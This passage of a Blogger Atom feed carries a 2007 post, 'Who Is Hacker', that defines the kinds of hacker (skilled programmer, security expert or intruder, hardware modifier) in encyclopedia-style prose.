endeavor to strengthen such mechanisms, it is more often used by the mass media and popular culture to refer to those who seek access despite them.&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;In other technical fields, hacker is extended to mean a person who makes things work beyond perceived limits through their own technical skill, such as a hardware hacker, or reality hacker.&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;In hacker culture, a hacker is a person who has attained a certain social status and is recognized among members of the culture for commitment to the culture's values and a certain amount of technical knowledge.&lt;/li&gt;&lt;/ul&gt;&lt;strong&gt;Categories of hacker&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;The hacker community, the set of people who would describe themselves as hackers or described by others as hackers, falls into at least three partially overlapping categories. Sometimes alternate terms such as "cracker" are used in an attempt to more exactly distinguish which category of hacker is intended, or when attempting to put a contextual distance between the categories due to the hacker definition controversy.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Hacker: Highly skilled programmer&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;This mainly positive usage of hacker refers to one who knows a (sometimes specified) set of programming interfaces well enough to program rapidly and expertly. This type of hacker is well-respected (although the term still carries some of the meaning of hack), and is capable of developing programs without adequate planning or where pre-planning is difficult or impossible to achieve. This situation gives freedom and the ability to be creative against a methodical and careful progress. At their best, hackers can be very productive. The technical downside of hacker productivity is often in maintainability, documentation, and completion. Very talented hackers may become bored with a project once they have figured out all of the hard parts, and be unwilling to finish off the "details". This attitude can cause friction in environments where other programmers are expected to pick up the half finished work, decipher the structures and ideas, and bullet-proof the code. In other cases, where a hacker is willing to maintain their own code, a company may be unable to find anyone else who is capable or willing to dig through code to maintain the program if the original programmer moves on to a new job.&lt;br /&gt;&lt;br /&gt;Additionally, there is sometimes a social downside associated with hacking. The stereotype of a hacker as having gained technical ability at a cost in social ability has been observed by many individuals, including noted psychologist Phillip Zimbardo[1]. Some researches have speculated on a possible link between hacking and conditions in the Autism spectrum, such as Asperger's Syndrome[2]; for example, Bram Cohen, the hacker who created the Bittorrent protocol, is believed by many (including himself) to have Asperger's[3]. While such social stunting from whatever cause is not universal among hackers, nor even only restricted to hackers, the difficulty in relating to others and the often abrasive personalities of some hackers makes some of them difficult to work with or to organize into teams.[4] On the other hand, it is not uncommon for hackers to thrive on social interaction.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Hacker: Computer and network security expert&lt;/strong&gt;&lt;br /&gt;&lt;i&gt;Main article: Hacker (computer security)&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;In the networking sense, a hacker is one who specializes in work with the access control mechanisms for computer and network systems. This includes individuals who work toward maintaining and improving the integrity of such mechanisms. However, the most common usage of hacker in this respect refers to someone who exploits systems or gains unauthorized access by means of clever tactics and detailed knowledge, while taking advantage of any carelessness or ignorance on the part of system operators. This use of hacker as intruder (frequent in the media) generally has a strong negative connotation, and is disparaged and discouraged within the computer community, resulting in the modern Hacker definition controversy.&lt;br /&gt;&lt;br /&gt;For such hackers specializing in intrusion, the highly derogatory term script kiddies is often used to indicate those who either claim to have far more skill than they actually have, or who exclusively use programs developed by others to achieve a successful security exploit.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Hacker: Hardware modifier&lt;/strong&gt;&lt;br /&gt;&lt;i&gt;Main article: Hardware hacker&lt;/i&gt;&lt;br /&gt;A modified computer, featuring water cooling and ultraviolet lighting&lt;br /&gt;&lt;br /&gt;Another type of hacker is one who creates novel hardware modifications. At the most basic end of this spectrum are those who make frequent changes to the hardware in their computers using standard components, or make semi-cosmetic themed modifications to the appearance of the machine. This type of Hacker modifies his/her computer for performance needs and/or aesthetics. These changes often include adding memory, storage or LEDs and cold cathode tubes for light effects. These people often show off their talents in contests, and many enjoy LAN parties. At the more advanced end of the hardware hackers are those who modify hardware (not limited to computers) to expand capabilities; this group blurs into the culture of hobbyist inventors and professional electronics engineering. An example of such modification includes the addition of TCP/IP Internet capabilities to a number of vending machines and coffee makers during the late 1980s and early 1990s.&lt;br /&gt;&lt;br /&gt;Hackers who have the ability to write circuit-level code, device drivers, firmware, low-level networking, (and even more impressively, using these techniques to make devices do things outside of their spec sheets), are typically in very high regard among hacker communities. This is primarily due to the enormous difficulty, complexity and specialized domain knowledge required for this type of work, as well as the electrical engineering expertise that plays a large role. Such hackers are rare, and almost always considered to be wizards or gurus of a very high degree.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3972538303005912445-1582348722815019346?l=greathacker.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://greathacker.blogspot.com/feeds/1582348722815019346/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3972538303005912445&amp;postID=1582348722815019346' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3972538303005912445/posts/default/1582348722815019346'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3972538303005912445/posts/default/1582348722815019346'/><link rel='alternate' type='text/html' href='http://greathacker.blogspot.com/2007/03/hacker-english-version.html' title='Who Is Hacker'/><author><name>Elf</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
